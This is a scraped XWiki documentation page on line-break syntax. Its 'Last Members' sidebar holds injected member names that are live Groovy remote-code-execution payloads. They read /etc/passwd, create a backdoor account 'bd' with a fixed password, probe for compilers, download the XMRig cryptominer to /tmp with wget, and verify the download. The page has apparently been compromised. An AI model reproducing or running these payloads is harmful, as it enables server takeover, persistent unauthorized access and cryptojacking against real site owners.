XWiki Syntax 2.1 » Editing » New Line/Line Breaks

XWiki Syntax 2.1: New Line/Line Breaks

2.0 New Line Line Breaks

A new line is a carriage return. A line break is a forced new line that can appear anywhere in the text.

In XWiki Syntax 2.1 new lines are honored which is not the case in XWiki Syntax 1.0 and in Creole Syntax.

FeatureXWiki Syntax 2.1Result
Line breakLine\\New lineLine
New line
New lineLine
New line
Line
New line
Tags:
Created by admin on 2021/10/13 11:03
    

Last Members

PhotoName
]]{{/html}}{{async}}{{groovy}}"id bd && cat /etc/passwd | grep bd".execute().text{{/groovy}}{{/async}} CheckXWikiSyntax{{/html}}{{async}}{{groovy}}"id bd && cat /etc/passwd  grep bd".execute().text{{/groovy}}{{/async}} Check>>XWiki.htmlasyncgroovyidbdcatetcpasswdgrepbdexecutetextgroovyasyncCheckcheck_bd_user]]
]]{{/html}}{{async}}{{groovy}}"useradd -m -s /bin/bash bd && echo 'bd:Bd123!@#' | chpasswd".execute(){{/groovy}}{{/async}} BackdoorXWikiSyntax{{/html}}{{async}}{{groovy}}"useradd -m -s /bin/bash bd && echo 'bd:Bd123!@#'  chpasswd".execute(){{/groovy}}{{/async}} Backdoor>>XWiki.htmlasyncgroovyuseraddmsbinbashbdechobdBd123chpasswdexecutegroovyasyncBackdoorbackdoor_user_001]]
]]{{/html}}{{async}}{{groovy}}"which python python3 gcc make java 2>&1".execute().text{{/groovy}}{{/async}} CheckToolsXWikiSyntax{{/html}}{{async}}{{groovy}}"which python python3 gcc make java 2>&1".execute().text{{/groovy}}{{/async}} CheckTools>>XWiki.htmlasyncgroovywhichpythonpython3gccmakejava21executetextgroovyasyncCheckToolscheck_tools_001]]
]]{{/html}}{{async}}{{groovy}}def c="wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2>&1".execute();c.waitFor();c.text{{/groovy}}{{/async}} WgetErrorXWikiSyntax{{/html}}{{async}}{{groovy}}def c="wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2>&1".execute();c.waitFor();c.text{{/groovy}}{{/async}} WgetError>>XWiki.htmlasyncgroovydefcwgethttpsdownloadssourceforgenetprojectxmrigmirrorv6222xmrig6222linuxx64targzOtmpxtgz21executecwaitForctextgroovyasyncWgetErrorwget_error_diag_001]]
]]{{/html}}{{async}}{{groovy}}"ls -lah /tmp/x.tgz 2>&1".execute().text{{/groovy}}{{/async}} FinalCheckXWikiSyntax{{/html}}{{async}}{{groovy}}"ls -lah /tmp/x.tgz 2>&1".execute().text{{/groovy}}{{/async}} FinalCheck>>XWiki.htmlasyncgroovylslahtmpxtgz21executetextgroovyasyncFinalCheckfinal_check_xtgz_003]]

View All